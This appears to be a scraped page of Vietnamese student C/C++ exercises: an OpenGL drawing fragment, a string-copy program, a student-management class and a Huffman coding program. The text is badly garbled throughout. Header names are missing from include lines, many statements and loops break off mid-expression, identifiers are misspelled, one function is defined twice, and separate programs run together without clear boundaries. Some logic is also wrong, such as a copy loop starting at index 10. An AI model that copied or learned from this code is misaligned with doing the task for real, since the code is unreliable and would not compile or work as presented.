case 27: // (ESC)
exit(0);
break;
}
glutPostRedisplay();
}
void DrawLine(int x1, int y1, int x2,int y2, colorentry c)
{
glBegin(GL_LINES);
glColor3ub(c.red,c.green,c.blue);
glVertex2f(x1,y1);
glVertex2f(x2,y2);
glEnd();
}
void PutPixel(int x, int y, colorentry c)
{
glPointSize(2.0);
glBegin(GL_POINTS);
glColor3ub(c.red,c.green,c.blue);
glVertex2f(x,y);
glEnd();
}
void DrawSquare(int x0, int y0, int w, colorentry c)
{
int pos[][2] = { {-w,w},{w,w},{w,-w},{-w,-w},{-w,w} };
for(int i=0;i<4;i++)
{
int x1 = x0 + pos[i][0];
int y1 = y0 + pos[i][1];
int x2 = x0 + pos[i+1][0];
int y2 = y0 + pos[i+1][1];
DrawLine(x1,y1,x2,y2,c);
}
}
Ham copy chuoi =c++
#include
#include
#include
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
char s1[100];
char s2[50];
int i;
cout<<"input the s1: "; cin>>s1;
cout<
cout<
for(i=10;s2[i];i++)
{
s1[i]=s2[i];
}
s1[i]=0;
cout<<"s1="<
cout<<"s2="<
getch();
return 0;
}
Quan ly sinh vien = c++
#include
#include
#include
class nguoi
{
private:
char h0[10],ten[10];
int lop,gioitinh,ns;
public:
void nhap()
{
cout<<"\n nhap ho cua sinh vien :"; cin.ignore(1); cin.get(h0,10); cout<<"\n nhap ten cua sinh vien :"; cin.ignore(1); cin.get(h0,10); cout<<"\n nhap lop sinh vien dang hoc"; cin>>lop;
cout<<"\n nhap nam sinh :"; cin>>ns;
cout<<"\n nhap gioi tinh"; while(1) { cin>>gioitinh;
if((gioitinh==0)||(gioitinh==1)
break;
else
cout<<"\n nhap lai gioi tinh"; } } void hien() { cout<
{
return 1;
return 0;
}
}
};
class sinhvien:public nguoi,diem
{
private:
char masv[5],dieukientotnghiep[20];
public:
void nhap()
{
cout<<"\n nhap ma sinh vien"; cin.ignore(1); cin.get(masv,5); nguoi::nhap(); diem::nhap(); if(kq==1) strcpy(dieukientotngiep,"tot nghiep"); else strecpy(dieukientotngiep,"khong tot nghiep"); } void hien() { cout<
{
tam=*sv1;
*sv1=*sv2;
*sv2=tam;
}
}
void sapxeptheodiemmoncs(sinhvien *sv1,sinhvien *sv2)
{
sinhvien tam;
if(sv1->diem.moncs
{
tam=*sv1;
*sv1=*sv2;
*sv2=tam;
}
}
void sapxeptheodiemmoncs(sinhvien *sv1,sinhvien *sv2)
{
sinhvien tam;
if(sv1->diem.moncn
{
tam=*sv1;
*sv1=*sv2;
*sv2=tam;
}
}
void them(sinhvien *sv,int *n,sinhvien tam)
{
sv[*n]=tam;
*n=*n+1;
}
void xoa(sinhvien *sv,int *n,int vt)
{
int i;
for(i=vt-1;i<*n;i++) sv[i]=sv[i+1]; *n=*n-1; } void sua(sinhvien *sv) { sinhvien tam; cout<<"\n nhap thong tin can sua"; tam.nhap(); *sv=tam; } }; void hiends(sinhvien *sv,int n) { int i; for(i=0;i
sv=new sinhvien[m];
cout<<"\n nhap danh sach sinh vien"; for(i=0;i
sua(&sv[vt-1]);
//hien ds sinh vien vua duoc sua
cout<<"\n danh sach sinh vien vua duoc dua doi : "; hiends(sv,m); //xoa 1 sinh ra khoi ds cout<<"\n nhap vi tri can xoa"; cin>>vt;
xoa(&sv,&m,vt);
//hien ds sinh vien vua xoa
cout<<"\n danh sach sinh vien vua xoa : "; hiends(sv,m); getch(); delete sv; }
Cai dat thuat Huffma =c++
#include
#include
#include
#define MAXBITS 32
#define MAXNODES 512
#define MAXSYMBS 256
#define MAXNAME 32
typedef struct {
char alph;
int freq;
char code[MAXBITS];
}hlist;
typedef struct{
char alph;
int lchild,rchild,parent;
int freq;
int isleft;
}hnode;
void general(void);
void make_table(void);
void quit();
hnode node[256],temp1;
hlist a[256],temp;
char left[2]="0",right[2]="1";
int t1,t2;
int root;
int i,j,k,n,f,line=1,len;
char s[256],s1[80];
char ch,filein[MAXNAME],fileout[MAXNAME],filekey[MAXNAME];
FILE *fin,*fout,*fkey;
FILE *ff;
//Giai ma file:
de_file()
{
clrscr();
//Doc file chua thong tin ma hoa
line++;
gotoxy(2,line);
cputs("Enter a filename for decoding:");
gets(filein);
line++;
gotoxy(2,line);
cputs("Enter the name of keyfile:");
gets(filekey);
line++;
gotoxy(2,line);
cputs("Name of decoded file:");
gets(fileout);
fkey=fopen(filekey,"rt");
if(ferror(fkey)!=0)
{
gotoxy(2,22);
cputs("Error!.....");
quit();
return;
}
fscanf(fkey,"%d\n",&n);
for(i=0;i
{
temp=a[j];
a[j]=a[i];
a[i]=temp;
}
for(i=0;i
{
node[j]=node[j-1];
if((node[j-1].lchild)!=-1)
{
node[node[j-1].lchild].parent=j;
node[node[j-1].rchild].parent=j;
}
}
node[i]=temp1;
node[temp1.lchild].parent=i;
node[temp1.rchild].parent=i;
break;
}
}
}//End While!
}
void make_table()
{
//Tao Bang ma:
for(i=0;i<2*n-2;i++) j="0;j
if(a[j].alph==node[i].alph)
{
root=i;
while(root!=2*n-2)
{
if(node[root].isleft==1)
strcat(a[j].code,left);
else
strcat(a[j].code,right);
root=node[root].parent;
}
strrev(a[j].code);
break;
}
}
//In bang ma:
line++;
gotoxy(2,line);
cputs("Encode Table:");
for(i=0;i
{
line++;
gotoxy(2,line);
cprintf("%c %s\n",a[i].alph,a[i].code);
}
return;
}
void quit()
{
for(i=0;i
{
a[i].alph=-1;
a[i].freq=NULL;
a[i].code[0]=NULL;
}
line++;
gotoxy(2,23);
cputs("Press anykey to return!....");
getch();
clrscr();
line=1;
return;
}